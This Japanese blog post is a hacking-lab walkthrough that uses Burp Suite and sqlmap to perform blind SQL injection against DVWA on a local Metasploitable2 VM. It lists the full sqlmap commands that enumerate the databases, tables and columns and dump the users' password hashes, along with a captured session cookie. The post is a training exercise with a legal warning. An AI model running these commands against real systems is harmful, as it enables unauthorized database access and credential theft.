Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング3 BurpSuiteを利用したブラインドSQLインジェクション

# はじめに
「ハッキング・ラボのつくりかた」p.612-623を参考にして、KaliLinux2022.1で検証してみる記事です。
DVWAを利用していますが、同書のやり方通りでは、うまく行かなかったので、Metasploitable2のDVWAを利用してます。（詳細は[前回](https://qiita.com/kagirohi/items/5694469748176b618126)を参照のこと）

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::

# ブラインドSQLインジェクション
応答ページから情報を直接奪わずに、SQLに対しての応答ページの違いから情報を奪う攻撃。
この攻撃では、BurpSuiteとsqlmapというツールを使用する。
# DVWAで実験する
DVWAのページのメニュー「SQL Injection(Blind)」をクリックする。
事前に、いろいろな数値、文字値を入れて、挙動を確かめる。
## Firefoxのプロキシ設定
URL入力欄に"about:preferences"と入力して、一番下の「ネットワーク設定」の「接続設定」をクリックする。「手動でプロキシを設定する」を選択して、全ての欄を"127.0.0.1"と設定、ポート番号は"9500"と設定する。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_21_56_45_プロ棋士の設定.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/766c1c5c-4da4-33bd-6981-ad58cdec5104.png)

# Burpの起動
ランチャーから「BurpSuite」を起動する。
メッセージ画面は、「temporary project」→「Use Burp defaults」と選択する。
メイン画面が表示されることを確認。
**メイン画面**
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_18_35_22_burp3_proxysetting.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/7e99fd9f-21b8-89d6-5207-cb678b8a5c38.png)
「Proxy」タブの「Options」タブからBurpのポート番号を8080から9500に変更する。

# HTTP要求の補足
「Proxy」タブの「Intercept」タブを選択する。
Intercept内では、http通信を一時停止させて、内容を確認・編集させたり、通信を遮断させたりする。
「Intercept is on」にしておいて、FirefoxのURL欄に"http:/\/192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"と入力してアクセスする。
http要求を補足できたら、「Action」ボタンから「Copy to file」を選んで、任意のフォルダにテキストファイルとして保存する。保存が完了したら、「Intercept is off」にする。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_18_37_52_burp5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/9d197cef-fb21-89c0-995f-8204fb5a39e5.png)

保存したテキストファイル"dvwa_sql_header.txt"のCookieの情報を控えておく。
```text:dvwa_sql_header.txt
GET /dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.56.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54
Upgrade-Insecure-Requests: 1
```

**Cookie: security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54**

# sqlmapを実行する
## URLとcookieを指定してsqlmapを実行する
```
sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54"
```
上記のコマンドを実行すると、処理の途中でいくつか質問される。

>GET parameter 'id' appear to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'.Do you want to skip test payloads specific for other DBMSes?　[y/n]

私訳：「GET パラメータ 'id' は 'MySQL >= 5.0.12 であり、 時間ベースのブラインド (クエリ SLEEP)'の脆弱性のように見えます。バックエンドの DBMS は 'MySQL' のようです。他のDBMSに固有のテストペイロードをスキップしますか？。」
MySQLに対して攻撃を掛けるので、yを選択。

>for the remaining tests,do you want to include all tests for 'MySQL' extending provided level(1) and risk(1) values?

私訳：「残りテストについては、提供されたlevel（1）およびrisk（1）の値を拡張する’MySQL’のすべてのテストを含めますか？」

正直、意味がよくわからなかった。「all tests」とあるので、とりあえず　yを選択した。

>GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable.Do you want to keep testing the others(if any)?

私訳：「Getパラメータ'id'は、 'Generic UNION query (NULL) - 1 to 20 columns'。 インジェクタブルなGETパラメタ'id'は脆弱性があります。もし、他に何かしらの脆弱性があれば、テストを継続しますか？」

これも、よくわからない。とりあえず、yを選択した。

>it is recommanded to perform only basic UNION tests if there is not at least one other (potential) technique found.Do you want to reduce the number of requests?
私訳：「もし、少なくとも1つの他の（潜在的な）テクニックが見つからない場合、basicUNIONテストのみ実行することをオススメします。リクエストの数を削減しますか？」

ｙを選択した。

結果、同書p.620にある出力結果とは違う出力結果が出た。
でも、このまま次に進む。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_05_2022_11_23_39_sqlblindInjection3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/039104ac-7721-505b-4dcb-bb5cbee7b31d.png)

## --dbsオプションを指定して、DBを表示する
```
sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" --dbs
```
DB一覧が表示された。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_05_2022_11_28_59_sqlblindinjectionDB.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/710127f3-c7fb-f91d-0d28-c4de4c3ab15e.png)


## --tablesオプションを指定して、dvwaのDB内のテーブルを表示する
目的のDBであるdvwaのテーブルを取得する。
```
sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" -D dvwa --tables
```
-Dオプションで、データベースを指定した。
dvwaDB内のテーブル一覧が表示される。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_05_2022_12_30_20_sqlblindinjection_tables.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/2b62666f-c05c-7f6e-6b81-b7bde9645366.png)


## --columnオプションを指定して、usersテーブルの列名を表示する
```
sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" -D dvwa -T users --column
```
-Tオプションで、テーブルを指定した。
usersテーブルの列名が表示される。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_05_2022_12_31_10_sqlblindinjection_users.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/d972a3cb-b26e-e0c0-93ff-5a98dd51429d.png)


## パスワードを解析する
sqlmapで--dumpオプションをつけることで、パスワード解析が可能。途中の質問されるが、すべてEnterもしくはYで答える。
```
sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" -D dvwa -T users -C  user,password --dump
```
-Cオプションで、カラム（列）を指定した。

![VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_05_2022_13_15_10_sqlblindinjection_passwordhacked.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/78712313-9fc4-7705-c062-f82d33ae8b3b.png)


:::note
sqlmapコマンドを実行するなかで、期待通りにDB、テーブル、カラムが出力されないことがありました。そういった時は、Firefoxのdvwaへのアクセスがタイムアウトしているようなので、再度dwvaへログインし直すとうまく動きました。
::::

# おわり
今回から、事前に注意事項を出すことにしました。既出の記事を編集して、注意事項を出します。
sqlmapコマンドの質問攻めには難渋しました。なにぶん、はじめてなもので。